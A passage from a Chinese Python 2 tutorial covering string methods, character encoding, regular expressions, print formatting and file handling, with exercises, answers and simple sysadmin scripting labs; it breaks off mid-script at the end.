| Some Non-Sacious Text 890 | ``` 891 | ##### 删除字符 892 | * `lstrip('str')` 删除开头的字符str 893 | * `rstrip('str')` 删除结尾的字符str 894 | * `strip('str')` 删除str字符串中包含的所有字符 895 | 896 | ```python 897 | In [61]: string = "<><><>gt it str<><><>" 898 | 899 | In [62]: string.lstrip('<') 900 | Out[62]: '><><>gt it str<><><>' 901 | 902 | In [63]: string.rstrip('>') 903 | Out[63]: '<><><>gt it str<><><' 904 | 905 | In [64]: string.strip('<>') 906 | Out[64]: 'gt it str' 907 | 908 | In [65]: string.strip('><') 909 | Out[65]: 'gt it str' 910 | ``` 911 | 912 | ##### 字符大小写转换 913 | * `upper()` 大写 914 | * `lower()` 小写 915 | 916 | ```python 917 | In [70]: uplow = "Hello My Girl" 918 | 919 | In [71]: uplow.upper() 920 | Out[71]: 'HELLO MY GIRL' 921 | 922 | In [72]: uplow.lower() 923 | Out[72]: 'hello my girl' 924 | ``` 925 | 926 | ##### 按照分割符提取字符串 927 | * `split('str')` 根据某个指定的分割符对一个字符串进行提取 928 | * `split()` 默认以空格为分割 929 | * `split('str',n)` 以第一次出现的分隔符为分割 930 | 931 | ```python 932 | In [73]: split_string = "pos1,pos2,pos3" 933 | 934 | In [74]: split_2_string = "a1|a2|a3" 935 | 936 | In [75]: split_string.split(',') 937 | Out[75]: ['pos1', 'pos2', 'pos3'] 938 | 939 | In [76]: split_2_string.split('|') 940 | Out[76]: ['a1', 'a2', 'a3'] 941 | 942 | In [1]: str = "hello,yes,ok ok,yes yes" 943 | 944 | In [2]: str.split(',') 945 | Out[2]: ['hello', 'yes', 'ok ok', 'yes yes'] 946 | 947 | In [3]: str.split(',',1) 948 | Out[3]: ['hello', 'yes,ok ok,yes yes'] 949 | 950 | In [4]: str.split(',',2) 951 | Out[4]: ['hello', 'yes', 'ok ok,yes yes'] 952 | ``` 953 | 954 | ##### 提取行 955 | * `splitline()` 截取行 956 | 957 | ```python 958 | In [5]: str = '''this 959 | ...: is 960 | ...: a 961 | ...: good person 962 | ...: en''' 963 | 964 | In [6]: str.split() 965 | Out[6]: ['this', 'is', 'a', 'good', 'person', 'en'] 966 | 967 | In [7]: str.splitlines() 968 | Out[7]: ['this', 'is', 'a ', 'good person', 'en'] 969 | ``` 970 | ##### 将数字转化成字符串 971 | * `%d` 整数 972 | * `%f%F` 浮点数 973 | * `%e%E` 科学计数 974 | * `%g%G` 975 | * `%%` 976 | 977 | ```python 978 | In [49]: a=1 979 | 980 | In [50]: a_str='%d'%a 981 | 982 | In [51]: a_str 983 | Out[51]: '1' 984 | 985 | In [52]: a 986 | Out[52]: 1 987 | ``` 988 | 989 | ##### 将字符串转化成数字 990 | 需要加载模块string 991 | * `atoi()` 整数 992 | * `atof()` 浮点数 993 | 994 | ```python 995 | In [53]: b='12' 996 | 997 | In [54]: b 998 | Out[54]: '12' 999 | 1000 | In [55]: import string 1001 | 1002 | In [56]: b_num=string.atoi(b) 1003 | 1004 | In [57]: b_num 1005 | Out[57]: 12 1006 | 1007 | In [58]: c='1.2' 1008 | 1009 | In [59]: c 1010 | Out[59]: '1.2' 1011 | 1012 | In [60]: string.atoi(c) 1013 | --------------------------------------------------------------------------- 1014 | ValueError Traceback (most recent call last) 1015 | in () 1016 | ----> 1 string.atoi(c) 1017 | 1018 | /usr/lib64/python2.7/string.pyc in atoi(s, base) 1019 | 401 1020 | 402 """ 1021 | --> 403 return _int(s, base) 1022 | 404 1023 | 405 1024 | 1025 | ValueError: invalid literal for int() with base 10: '1.2' 1026 | 1027 | In [61]: string.atof(c) 1028 | Out[61]: 1.2 1029 | 1030 | 1031 | ``` 1032 | 1033 | ##### 连接字符串 1034 | * `'str'.join()` 将列表中的元素(字符,不能为整数)用str连接起来组成一个字符串 1035 | 1036 | ```python 1037 | In [13]: list_str = '\t'.join(list) 1038 | 1039 | In [14]: list_str 1040 | Out[14]: 'one\ttwo\tthree\tfour' 1041 | 1042 | In [15]: print list_str 1043 | one two three four 1044 | 1045 | In [29]: a=1 1046 | 1047 | In [30]: b='1' 1048 | 1049 | In [31]: a 1050 | Out[31]: 1 1051 | 1052 | In [32]: b 1053 | Out[32]: '1' 1054 | 1055 | In [16]: list_num = range(10) 1056 | 1057 | In [47]: list_num 1058 | Out[47]: [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] 1059 | 1060 | In [48]: '+'.join('%d'%i for i in list_num) 1061 | Out[48]: '0+1+2+3+4+5+6+7+8+9' 1062 | ``` 1063 | 1064 | ##### Unicode字符串 1065 | * `u'str'` 1066 | * `unicode('str')` 1067 | 1068 | 字符串类型分为 内建的str 和 Unicode 1069 | 1070 | * `Unicode`是一种标准,包含了所有语言,提供了数字与字符的单一映射。 1071 | * 计算机处理使用数字,而用户使用字符 1072 | 1073 | #####字符编码 1074 | 1075 | 我们已经讲过了,字符串也是一种数据类型,但是,字符串比较特殊的是还有一个编码问题。 1076 | 1077 | 因为计算机只能处理数字,如果要处理文本,就必须先把文本转换为数字才能处理。最早的计算机在设计时采用8个比特(bit)作为一个字节(byte),所以,一个字节能表示的最大的整数就是255(二进制11111111=十进制255),如果要表示更大的整数,就必须用更多的字节。比如两个字节可以表示的最大整数是65535,4个字节可以表示的最大整数是4294967295。 1078 | 1079 | 由于计算机是美国人发明的,因此,最早只有127个字母被编码到计算机里,也就是大小写英文字母、数字和一些符号,这个编码表被称为ASCII编码,比如大写字母A的编码是65,小写字母z的编码是122。 1080 | 1081 | 但是要处理中文显然一个字节是不够的,至少需要两个字节,而且还不能和ASCII编码冲突,所以,中国制定了GB2312编码,用来把中文编进去。 1082 | 1083 | 你可以想得到的是,全世界有上百种语言,日本把日文编到Shift_JIS里,韩国把韩文编到Euc-kr里,各国有各国的标准,就会不可避免地出现冲突,结果就是,在多语言混合的文本中,显示出来会有乱码。 1084 | 1085 | 因此,Unicode应运而生。Unicode把所有语言都统一到一套编码里,这样就不会再有乱码问题了。 1086 | 1087 | Unicode标准也在不断发展,但最常用的是用两个字节表示一个字符(如果要用到非常偏僻的字符,就需要4个字节)。现代操作系统和大多数编程语言都直接支持Unicode。 1088 | 1089 | 现在,捋一捋ASCII编码和Unicode编码的区别:ASCII编码是1个字节,而Unicode编码通常是2个字节。 1090 | 1091 | 字母A用ASCII编码是十进制的65,二进制的01000001; 1092 | 1093 | 字符0用ASCII编码是十进制的48,二进制的00110000,注意字符'0'和整数0是不同的; 1094 | 1095 | 汉字中已经超出了ASCII编码的范围,用Unicode编码是十进制的20013,二进制的01001110 00101101。 1096 | 1097 | 你可以猜测,如果把ASCII编码的A用Unicode编码,只需要在前面补0就可以,因此,A的Unicode编码是00000000 01000001。 1098 | 1099 | 新的问题又出现了:如果统一成Unicode编码,乱码问题从此消失了。但是,如果你写的文本基本上全部是英文的话,用Unicode编码比ASCII编码需要多一倍的存储空间,在存储和传输上就十分不划算。 1100 | 1101 | 所以,本着节约的精神,又出现了把Unicode编码转化为“可变长编码”的UTF-8编码。UTF-8编码把一个Unicode字符根据不同的数字大小编码成1-6个字节,常用的英文字母被编码成1个字节,汉字通常是3个字节,只有很生僻的字符才会被编码成4-6个字节。如果你要传输的文本包含大量英文字符,用UTF-8编码就能节省空间: 1102 | 1103 | ![02.png](pic/02.png) 1104 | 1105 | 从上面的表格还可以发现,UTF-8编码有一个额外的好处,就是ASCII编码实际上可以被看成是UTF-8编码的一部分,所以,大量只支持ASCII编码的历史遗留软件可以在UTF-8编码下继续工作。 1106 | 1107 | 搞清楚了ASCII、Unicode和UTF-8的关系,我们就可以总结一下现在计算机系统通用的字符编码工作方式: 1108 | 1109 | * 在计算机内存中,统一使用Unicode编码,当需要保存到硬盘或者需要传输的时候,就转换为UTF-8编码。 1110 | * 用记事本编辑的时候,从文件读取的UTF-8字符被转换为Unicode字符到内存里,编辑完成后,保存的时候再把Unicode转换为UTF-8保存到文件 1111 | * 浏览网页的时候,服务器会把动态生成的Unicode内容转换为UTF-8再传输到浏览器 1112 | 1113 | 所以你看到很多网页的源码上会有类似``的信息,表示该网页正是用的UTF-8编码。 1114 | 1115 | ```python 1116 | In [62]: unicode_string = u'this is a unicode string' 1117 | 1118 | In [63]: unicode_string 1119 | Out[63]: u'this is a unicode string' 1120 | 1121 | In [66]: unicode('this is a unicode string') 1122 | Out[66]: u'this is a unicode string' 1123 | 1124 | In [67]: unicode_string = u'abc_\u03a0' 1125 | 1126 | In [68]: unicode_string 1127 | Out[68]: u'abc_\u03a0' 1128 | 1129 | In [69]: print unicode_string 1130 | abc_Π 1131 | 1132 | In [70]: print unicode_string.encode('utf-8') 1133 | abc_Π 1134 | ``` 1135 | 1136 | * 把u'xxx'转换为UTF-8编码的'xxx'用encode('utf-8')方法:`u'中文'.encode('utf-8')` 1137 | * 把UTF-8编码表示的字符串'xxx'转换为Unicode字符串u'xxx'用decode('utf-8')方法:`'\xe4\xb8\xad\xe6\x96\x87'.decode('utf-8')` 1138 | 1139 | 1140 | ``` 1141 | 编码本质速记: 1142 | 没有纯文本 1143 | 文件都是二进制的 1144 | 字符显示是由软件处理的 1145 | Unicode 1146 | 仅是内存字符串数据规格 1147 | utf-8/16/24 应用程序的编码字典 1148 | utf-*全宇宙通用 1149 | python内置支持 encode unicode==》ascii 1150 | deccode ascii===》unicode 1151 | #encoding=utf-8 1152 | #-*- coding: utf-8 -*- 1153 | ``` 1154 | 1155 | 1156 | ##### re 1157 | * `re.findall(re_str,some_str)` 根据模式re_str搜索some_str字符串 1158 | 1159 | 既然python是一个连“电池都包含在内”的语言,所以,正则表达式不再内你一定会失望的。 1160 | 1161 | 重点:如何在python中使用正则表达式 1162 | 1163 | bash中我们用正则表达式是`=~`,而python中的正则表达式是来自于库,而不是语言自身的语法特征。因此我们要加载一个模块re。 1164 | 1165 | 两种方法使用正则表达式: 1166 | * 1)re模块中的函数 1167 | * 2)创建一个编译的正则表达式对象,然后使用对象中的方法 1168 | 1169 | 简单正则表达式,已编译模式 1170 | 1171 | ```python 1172 | In [4]: some_str = "this is a string with {{words}} embedded in\ 1173 | ...: {{curly brackets}} to show an {{example}} of {{regular expressions}}" 1174 | 1175 | In [5]: for match in re.findall(re_str,some_str): 1176 | ...: print "match-->",match 1177 | ...: 1178 | match--> words 1179 | match--> curly brackets 1180 | match--> example 1181 | match--> regular expressions 1182 | 1183 | In [6]: re_str="a{2,}" 1184 | 1185 | In [7]: some_str="apple aaa abc" 1186 | 1187 | In [8]: for line in re.findall(re_str,some_str): 1188 | ...: print "match-->",line 1189 | ...: 1190 | match--> aaa 1191 | 1192 | In [9]: re.findall(re_str,some_str) 1193 | Out[9]: ['aaa'] 1194 | ``` 1195 | 1196 | 原始字符串与正则表达式中使用的原始字符串 1197 | 1198 | ```python 1199 | In [10]: import re 1200 | 1201 | In [11]: raw_p = r'\b[a-z]+\b' 1202 | 1203 | In [12]: now_raw_p = '\b[a-z]+\b' 1204 | 1205 | In [13]: some_str = 'a few little words' 1206 | 1207 | In [14]: re.findall(raw_p,some_str) 1208 | Out[14]: ['a', 'few', 'little', 'words'] 1209 | 1210 | In [15]: raw_p1 = r'^a' 1211 | 1212 | In [16]: re.findall(raw_p1,some_str) 1213 | Out[16]: ['a'] 1214 | 1215 | In [23]: re.findall(now_raw_p,some_str) 1216 | Out[23]: [] 1217 | 1218 | In [24]: now_raw_p 1219 | Out[24]: '\x08[a-z]+\x08' 1220 | 1221 | In [25]: raw_p 1222 | Out[25]: '\\b[a-z]+\\b' 1223 | ``` 1224 | 1225 | * `\b`是匹配词边界 1226 | * `\d`表示数字 1227 | * `\w`表示希腊数字字符 1228 | 1229 | 四个主要也是常用的正则表达式方法或函数: 1230 | * `findall()` 返回string中所有与pattern相匹配的全部字串,返回形式为数组。 1231 | * `finditer()` 返回string中所有与pattern相匹配的全部字串,返回形式为迭代器。 1232 | * `match()` 从首字母开始开始匹配,string如果包含pattern子串,则匹配成功,返回Match对象,失败则返回None,若要完全匹配,pattern要以$结尾。 1233 | * `search()` 若string中包含pattern子串,则返回Match对象,否则返回None,注意,如果string中存在多个pattern子串,只返回第一个。 1234 | * `compile()` 将一个正则表达式“编译”。编译后的正则表达式对象比直接运行拥有更快的速度。 1235 | * `split()` 利用正则将文字分裂为多个部分。 1236 | * `sub()` 对文本进行替换。 1237 | 1238 | 1239 | search和match的区别 1240 | 1241 | * match一定从字符串的头开始匹配,search搜索全部文本。search即使用了`^`,也可能匹配到一个新行。 1242 | * 因此,要匹配头部,或者整个完整字符串,需要用match。而要在文字中搜索,需要用search。 1243 | * 细节:从复杂性上看,理所当然的,match更快。 1244 | 1245 | ```python 1246 | In [35]: import re 1247 | 1248 | In [36]: r = re.compile('^ab+') 1249 | 1250 | In [38]: r.match('abb') 1251 | Out[38]: <_sre.SRE_Match at 0x1322e00> 1252 | 1253 | In [39]: r.match('ccc') 1254 | 1255 | In [40]: r.search('abb') 1256 | Out[40]: <_sre.SRE_Match at 0x13ebf38> 1257 | 1258 | In [41]: r.search('ccc') 1259 | 1260 | In [48]: re.split('abb',str1) 1261 | Out[48]: ['', ' this is ', ' okyes ', ''] 1262 | ``` 1263 | 1264 | 字符串也有一个split()方法来做切分,注意对比 1265 | 1266 | * `string.split('str',nu)` 1267 | * `re.split('str',string)` 1268 | 1269 | ```python 1270 | In [54]: str1 1271 | Out[54]: 'abb this is abb okyes abb' 1272 | 1273 | In [55]: str1.split('app') 1274 | Out[55]: ['abb this is abb okyes abb'] 1275 | 1276 | In [56]: str1.split('abb') 1277 | Out[56]: ['', ' this is ', ' okyes ', ''] 1278 | 1279 | In [57]: re.split('abb',str1) 1280 | Out[57]: ['', ' this is ', ' okyes ', ''] 1281 | 1282 | In [59]: str1.split('abb',2) 1283 | Out[59]: ['', ' this is ', ' okyes abb'] 1284 | ``` 1285 | 1286 | `sub('p1','p2',str)` 对文本进行替换。 1287 | 1288 | ```python 1289 | In [67]: str = 'a,b,c,d' 1290 | 1291 | In [68]: re.sub(',','#',str) 1292 | Out[68]: 'a#b#c#d' 1293 | ``` 1294 | 1295 | #### print 1296 | 1297 | 1298 | 用print加上字符串,就可以向屏幕上输出指定的文字。比如输出'hello, world',用代码实现如下: 1299 | ```python 1300 | >>> print 'hello, world' 1301 | ``` 1302 | print语句也可以跟上多个字符串,用逗号“,”隔开,就可以连成一串输出: 1303 | ```python 1304 | >>> print 'The quick brown fox', 'jumps over', 'the lazy dog' 1305 | The quick brown fox jumps over the lazy dog 1306 | ``` 1307 | print也可以打印整数,或者计算结果: 1308 | ```python 1309 | >>> print 300 1310 | 300 1311 | >>> print 100 + 200 1312 | 300 1313 | ``` 1314 | 因此,我们可以把计算100 + 200的结果打印得更漂亮一点: 1315 | ```python 1316 | >>> print '100 + 200 =', 100 + 200 1317 | 100 + 200 = 300 1318 | ``` 1319 | 注意,对于100 + 200,Python解释器自动计算出结果300,但是,'100 + 200 ='是字符串而非数学公式,Python把它视为字符串,请自行解释上述打印结果。 1320 | 1321 | #### 格式化字符串 1322 | 1323 | 将变量的值格式化到字符串中,形成新的字符串。 1324 | * `print('{0}{1}'.format(a,b))` 1325 | * `print('%s' % a)` 1326 | 1327 | 常用于输出数据内容。 1328 | 1329 | ```shell 1330 | >>> name='shell' 1331 | >>> print('my name is {0} and the length of name is {1}'.format(name,len(name))) 1332 | my name is shell and the length of name is 5 1333 | >>> print('my name is %s and the length of name is %d' % (name,len(name))) 1334 | my name is shell and the length of name is 5 1335 | ``` 1336 | #### 练习 1337 | 1338 | 编写一行代码,打印出hello, world。 1339 | 假定有变量name,值为你的名字。编写代码打印出hello, [your name]。 1340 | ```shell 1341 | >>> print("hello, world") 1342 | hello, world 1343 | >>> name='booboo' 1344 | >>> print("hello,%s"%name) 1345 | hello,booboo 1346 | >>> print("hello,{0}".format(name)) 1347 | hello,booboo 1348 | ``` 1349 | 1350 | ### 文件处理file类 1351 | 1352 | 学习处理文件的关键是学会如何处理文本数据。经常地,需要处理地文件包含在日志文件、配置文件或数据文件中,当需要对正在分析地数据做进一步处理时,通常要创建一个指定类型地报告文件,或是将数据放入一个文本文件以便日后进一步处理。 1353 | 1354 | python有一个称为file的内建类型,该类型可以协助完成所有这些事情。 1355 | 1356 | * 查看关于file类的帮助 `help(file)` 1357 | * 查看file类的方法(函数)`dir(file)` 1358 | * `write()` 写入文件 1359 | * `read()` 读取文件 1360 | * `close()` 关闭文件 1361 | 1362 | ```python 1363 | In [3]: dir(file) 1364 | Out[3]: 1365 | ['__class__', 1366 | '__delattr__', 1367 | '__doc__', 1368 | '__enter__', 1369 | '__exit__', 1370 | '__format__', 1371 | '__getattribute__', 1372 | '__hash__', 1373 | '__init__', 1374 | '__iter__', 1375 | '__new__', 1376 | '__reduce__', 1377 | '__reduce_ex__', 1378 | '__repr__', 1379 | '__setattr__', 1380 | '__sizeof__', 1381 | '__str__', 1382 | '__subclasshook__', 1383 | 'close', 1384 | 'closed', 1385 | 'encoding', 1386 | 'errors', 1387 | 'fileno', 1388 | 'flush', 1389 | 'isatty', 1390 | 'mode', 1391 | 'name', 1392 | 'newlines', 1393 | 'next', 1394 | 'read', 1395 | 'readinto', 1396 | 'readline', 1397 | 'readlines', 1398 | 'seek', 1399 | 'softspace', 1400 | 'tell', 1401 | 'truncate', 1402 | 'write', 1403 | 'writelines', 1404 | 'xreadlines'] 1405 | ``` 1406 | 1407 | 实例1:打开文件进行读取操作 1408 | ```python 1409 | In [4]: infile = open('test/openfile','r') 1410 | 1411 | In [5]: print infile.read() 1412 | this is 1413 | open 1414 | file. 1415 | ``` 1416 | 1417 | 知识点: 1418 | * `open(文件名,文件打开模式,缓冲区大小)`是内建函数,不需要import加载。 1419 | * `open()`的参数中,文件名是必须的;打开模式一般有r(默认读),w(写) 1420 | 1421 | ```python 1422 | In [25]: outputfile = open('foo_out.txt','w') 1423 | 1424 | In [26]: outputfile.write('this is write() \mtest\n') 1425 | 1426 | In [27]: outputfile.close() 1427 | 1428 | In [28]: print open('foo_out.txt','r').read() 1429 | this is write() \mtest 1430 | 1431 | 1432 | In [29]: 1433 | 1434 | ``` 1435 | 上面的示例中,使用open()函数以写入的方式打开foo_out.txt文件,并且使用变量outputfile引用新建的可写入文件对象,write(),将文本写入文件中,并使用close()关闭文件。 1436 | 1437 | 可以使用`try/finally`代码块将文件进行封闭,使得容错性更好。 1438 | 不管有没有异常发生,`close()`方法也会被包括进去,try块执行完毕之后,不管异常是否发生,finally块都会被执行。 1439 | 1440 | ```python 1441 | In [29]: try: 1442 | ....: f = open('writeable.txt','w') 1443 | ....: f.write('quick line here\n') 1444 | ....: finally: 1445 | ....: f.close() 1446 | ....: 1447 | In [30]: open('writeable.txt','r').read() 1448 | Out[30]: 'quick line here\n' 1449 | ``` 1450 | 1451 | 不用调用`close()`方法,还可以通过关键词with语句,来关闭文件: 1452 | 1453 | ```python 1454 | In [31]: with open('writeable.txt','w') as f: 1455 | ....: f.write('ok\n') 1456 | ....: 1457 | 1458 | In [32]: open('writeable.txt','r').read() 1459 | Out[32]: 'ok\n' 1460 | 1461 | In [33]: f 1462 | Out[33]: 1463 | ``` 1464 | 1465 | #### 读取文件 1466 | 1467 | * `read()` 打开文件对象读取数据,返回读取的字节数,并返回一个由这些字节组成的字符串对象 1468 | * `readline()` 一次读取一行文本 1469 | * `readlines()` 读入文件中的所有行 1470 | 1471 | #### 写文件 1472 | 1473 | * `write()` 写入文件的字符串 1474 | * `writelines()`要写入打开文件的序列,序列可以是任何迭代对象类型,例如列表,元组,列表或者是发生器 1475 | 1476 | #### 额外资源 1477 | 1478 | 要了解file对象的更多信息,可以查阅[《Learning Python》](https://www.learnpython.org/) 1479 | 1480 | #### 标准输入与输出 1481 | 1482 | 标准输入需要sys模块和引用stdin属性进行访问。 1483 | sys.stdin是一个可读的文件对象 1484 | 1485 | #### StingIO 1486 | 1487 | 将字符串作为文件类处理 1488 | file_like_string 1489 | 1490 | ```python 1491 | In [39]: fs="this is a\n multiline string.\n" 1492 | In [43]: f=StringIO(fs) 1493 | 1494 | In [44]: f.readline() 1495 | Out[44]: 'this is a\n' 1496 | 1497 | In [45]: f.readline() 1498 | Out[45]: ' multiline string.\n 1499 | ``` 1500 | 1501 | #### urllib 1502 | 1503 | 从web服务器读取文件,urllib() 1504 | 1505 | ```python 1506 | In [1]: import urllib 1507 | 1508 | In [2]: url_file = urllib.urlopen("http://172.25.254.254/content/students/03-lab/10-mysql5.7-root-password-break") 1509 | 1510 | In [3]: urllib_docs = url_file.read() 1511 | 1512 | In [5]: url_file.close() 1513 | 1514 | In [6]: len(urllib_docs) 1515 | Out[6]: 260 1516 | 1517 | In [7]: urllib_docs[:80] 1518 | Out[7]: 'RHEL7 \xe5\xbf\x98\xe8\xae\xb0mysql5.7\xe7\x9a\x84\xe5\xaf\x86\xe7\xa0\x81\n\xe4\xbf\xae\xe6\x94\xb9\xe9\x85\x8d\xe7\xbd\xae\xe6\x96\x87\xe4\xbb\xb6/etc/my.cnf\n\xe6\xb7\xbb\xe5\x8a\xa0\xe4\xb8\x80\xe4\xb8\xaa\xe9\x80\x89\xe9\xa1\xb9 s' 1519 | 1520 | In [8]: urllib_docs[-80:] 1521 | Out[8]: 'art mysqld\n\n# mysql\n>alter user root@localhost identified by "U:pl:oo00king:" ;\n' 1522 | ``` 1523 | * 加载urllib模块,使用urllib创建一个类文件对象,并命名为url_file; 1524 | * 将url_file的内容读入urllib_docs的字符串中; 1525 | * 通过url_file.close()将文件关闭。 1526 | 1527 | ## 课后习题 1528 | 1529 | ### 安装ipython 1530 | 1531 | ### 数字 1532 | 1533 | 1. `2*(3+4)` 1534 | 2. `2*3+4` 1535 | 3. `2+3*4` 1536 | 4. 通过什么工具你可以找到一个数字的平方根以及它的平方? 1537 | 5. 表达式`1+0.2+3`的结果是什么类型? 1538 | 6. 怎样能够截断或舍去浮点数的小数部分? 1539 | 7. 怎样将一个整数转化为浮点数? 1540 | 8. 如何将一个整数显示成八进制、十六进制、二进制的形式? 1541 | 9. 如何将一个八进制、十六进制、二进制的字符串转化成平常的整数? 1542 | 1543 | >习题解答 1544 | 1545 | ```python 1546 | In [1]: 2*(3+4) 1547 | Out[1]: 14 1548 | 1549 | In [2]: 2*3+4 1550 | Out[2]: 10 1551 | 1552 | In [3]: 2+3*4 1553 | Out[3]: 14 1554 | 1555 | In [4]: import math 1556 | #平方根 1557 | In [5]: math.sqrt(4) 1558 | Out[5]: 2.0 1559 | #平方 1560 | In [7]: pow(2,2) 1561 | Out[7]: 4 1562 | #浮点数 1563 | In [8]: 1+0.2+3 1564 | Out[8]: 4.2 1565 | #浮点变整数 1566 | In [9]: int(4.2) 1567 | Out[9]: 4 1568 | 1569 | In [11]: math.trunc(4.2) 1570 | Out[11]: 4 1571 | #整数变浮点 1572 | In [12]: float(4) 1573 | Out[12]: 4.0 1574 | #10-八进制 1575 | In [16]: oct(10) 1576 | Out[16]: '012' 1577 | #10-十六进制 1578 | In [17]: hex(10) 1579 | Out[17]: '0xa' 1580 | #10-二进制 1581 | In [18]: bin(10) 1582 | Out[18]: '0b1010' 1583 | 1584 | In [25]: int('012',8) 1585 | Out[25]: 10 1586 | 1587 | In [26]: int('0xa',16) 1588 | Out[26]: 10 1589 | 1590 | In [27]: int('0b1010',2) 1591 | Out[27]: 10 1592 | ``` 1593 | ### 字符串 1594 | 1595 | 1. 字符串`find`方法能用于搜索列表吗? 1596 | 2. 字符串切片表达式能于列表吗? 1597 | 3. 如何将字符串转成其ASCII码?你如何反向转换,从整数转换成字符串? 1598 | 4. 如何修改字符串? 1599 | 5. 已知字符串S的值为`"a,pa,m"`,提出两种从中间抽取两个字符的方法。 1600 | 6. 字符串`"a\nb\x1f\000d"`之中由多少字符? 1601 | 7. 你为什么要用string模块,而不使用字符串方法调用? 1602 | 1603 | 1604 | > 习题解答 1605 | 1606 | 1. 不可以 1607 | 2. 可以 1608 | 3. `ord(S)` `chr(I)` 1609 | 4. 字符串不可修改 1610 | 5. `S[2:4]` `S.split(',')[1]` 1611 | 6. 6个 1612 | 7. 如今不应该使用string模块,而应该使用字符串对象方法调用。string模块已经弃用。 1613 | 1614 | ### 文本 1615 | 1616 | 1. open文件调用中,默认的处理模式自变量是什么? 1617 | 2. 你可能使用什么模块把python对象存储在文件中,而不需要亲自将他们转化成字符串? 1618 | 3. 你怎么一次复制嵌套结构的所有部分? 1619 | 1620 | > 习题解答 1621 | 1622 | 1. `r` 读取输入 1623 | 2. pickle模块 1624 | 3. copy模块,调用`copy.deepcopy(x)`深拷贝 1625 | 1626 | ## 实践项目 1627 | 1628 | ### python和bash的对比 1629 | 1630 | ```shell 1631 | 实验1——交互式:修改student用户的默认登陆shell为python 1632 | 实验2——非交互式:写一个脚本实现以下功能 1633 | 1)显示内核版本 1634 | 2)显示磁盘信息 1635 | 实验3——函数对比: 1636 | 1)将bash脚本中的不同功能定义为函数,并调用 1637 | 2)将python脚本中的不同功能定义为函数,并调用 1638 | 3)定义main函数,实现所有功能,并调用 1639 | 1640 | 实验四——拓展脚本: 1641 | 修改python和bash代码中的系统调用程序,将其变成自己的内容。 1642 | 1643 | 可以去尝试实现以下功能: 1644 | 1645 | 1)查看系统发行版本cat /etc/redhat-release 1646 | 2)查看系统内核版本uname -r 1647 | 3)查看系统磁盘信息df -h 1648 | 4)查看当前系统用户who 1649 | 5)查看系统运行时间uptime 1650 | 6)查看selinux的状态getenforce 1651 | 7)查看内存信息free -h 1652 | 8)查看网络状况ifconfig 1653 | ``` 1654 | 1655 | ### ipython的安装 1656 | 1657 | ```shell 1658 | 实践1:安装ipython 1659 | 下载源码安装包 1660 | python setup.py install 1661 | ``` 1662 | 1663 | ### 字符串实践 1664 | 1665 | ```shell 1666 | tel_string = '+86 10010 +21 20145 +45 15264' 1667 | tel_list = tel_string.split() 1668 | for i in tel_list: 1669 | if i.startswith('+'): 1670 | print i 1671 | ``` 1672 | 1673 | ### 字符编码问题 1674 | 1675 | ```shell 1676 | In [108]: print u'你好'.encode('utf-8') 1677 | 你好 1678 | 1679 | In [109]: print str_b 1680 | 你好 1681 | 1682 | In [110]: print '你好'.encode('utf-8') 1683 | --------------------------------------------------------------------------- 1684 | UnicodeDecodeError Traceback (most recent call last) 1685 | in () 1686 | ----> 1 print '你好'.encode('utf-8') 1687 | 1688 | UnicodeDecodeError: 'ascii' codec can't decode byte 0xe4 in position 0: ordinal not in range(128) 1689 | 1690 | In [112]: '你好'.decode('utf-8') 1691 | Out[112]: u'\u4f60\u597d' 1692 | ``` 1693 | 1694 | ### 获取帮助 1695 | 1696 | ```shell 1697 | [root@workstation0 ~]# python 1698 | Python 2.7.5 (default, Oct 11 2015, 17:47:16) 1699 | [GCC 4.8.3 20140911 (Red Hat 4.8.3-9)] on linux2 1700 | Type "help", "copyright", "credits" or "license" for more information. 1701 | >>> help() 1702 | 1703 | Welcome to Python 2.7! This is the online help utility. 1704 | 1705 | If this is your first time using Python, you should definitely check out 1706 | the tutorial on the Internet at http://docs.python.org/2.7/tutorial/. 1707 | 1708 | Enter the name of any module, keyword, or topic to get help on writing 1709 | Python programs and using Python modules. To quit this help utility and 1710 | return to the interpreter, just type "quit". 1711 | 1712 | To get a list of available modules, keywords, or topics, type "modules", 1713 | "keywords", or "topics". Each module also comes with a one-line summary 1714 | of what it does; to list the modules whose summaries contain a given word 1715 | such as "spam", type "modules spam". 1716 | 1717 | help> print 1718 | 1719 | help> re 1720 | 1721 | help> exit 1722 | 1723 | help> q 1724 | 1725 | You are now leaving help and returning to the Python interpreter. 1726 | If you want to ask for help on a particular object directly from the 1727 | interpreter, you can type "help(object)". Executing "help('string')" 1728 | has the same effect as typing a particular string at the help> prompt. 1729 | ``` 1730 | 1731 | ### 从键盘输入 1732 | 1733 | ```shell 1734 | bash 1735 | #!/bin/bash 1736 | read -p "plz input yourname:" name 1737 | echo "your name is $name" 1738 | ``` 1739 | 1740 | ```python 1741 | #!/usr/bin/env python 1742 | 1743 | try: 1744 | name=raw_input('plz input yourname') 1745 | excapt: 1746 | name=input('plz input yourname') 1747 | print 'your name is {}'.format(name) 1748 | ``` 1749 | 1750 | ### python脚本写文件 1751 | 1752 | 用python脚本写文件,要求如下: 1753 | 1754 | /tmp/useraddlist 1755 | ```shell 1756 | dabao 888 xuexi,it uplooking 1757 | lucy 889 sales,it uplooking 1758 | lily 899 pro,aa,bb uplooking 1759 | ``` 1760 | 1761 | 脚本如下: 1762 | ```python 1763 | #!/usr/bin/env python 1764 | 1765 | a_file = open('/tmp/useraddlist','w') 1766 | a_file.write('''dabao 888 xuexi,it uplooking 1767 | lucy 889 sales,it uplooking 1768 | lily 899 pro,aa,bb uplooking''') 1769 | a_file.close() 1770 | print open('/tmp/useraddlist').read() 1771 | ``` 1772 | 1773 | 或者通过with as 1774 | 1775 | ```python 1776 | #!/usr/bin/env python 1777 | with open('/tmp/useraddlist','w') as a_file: 1778 | a_file.write('dabao 888 xuexi,it uplooking\nlucy 889 sales,it uplooking\nlily 899 pro,aa,bb uplooking') 1779 | print open('/tmp/useraddlist').read() 1780 | ``` 1781 | 1782 | 执行结果如下: 1783 | 1784 | ```shell 1785 | [root@workstation0 python]# python useraddlist.py 1786 | dabao 888 xuexi,it uplooking 1787 | lucy 889 sales,it uplooking 1788 | lily 899 pro,aa,bb uplooking 1789 | ``` 1790 | 1791 | ### 打印文件中的指定信息 1792 | 1793 | 得到每一行中的用户名、uid、初始组、附加组和密码,打印到屏幕上 1794 | 1795 | ```shell 1796 | username is ;uid is ;groups is ;password is 1797 | 初始组是 1798 | 附加组是 1799 | ``` 1800 | 1801 | 脚本如下: 1802 | ```python 1803 | #!/usr/bin/env python 1804 | # -*- coding: utf-8 -*- 1805 | 1806 | a_file = open('/tmp/useraddlist','r') 1807 | a_list = a_file.readlines() 1808 | for i 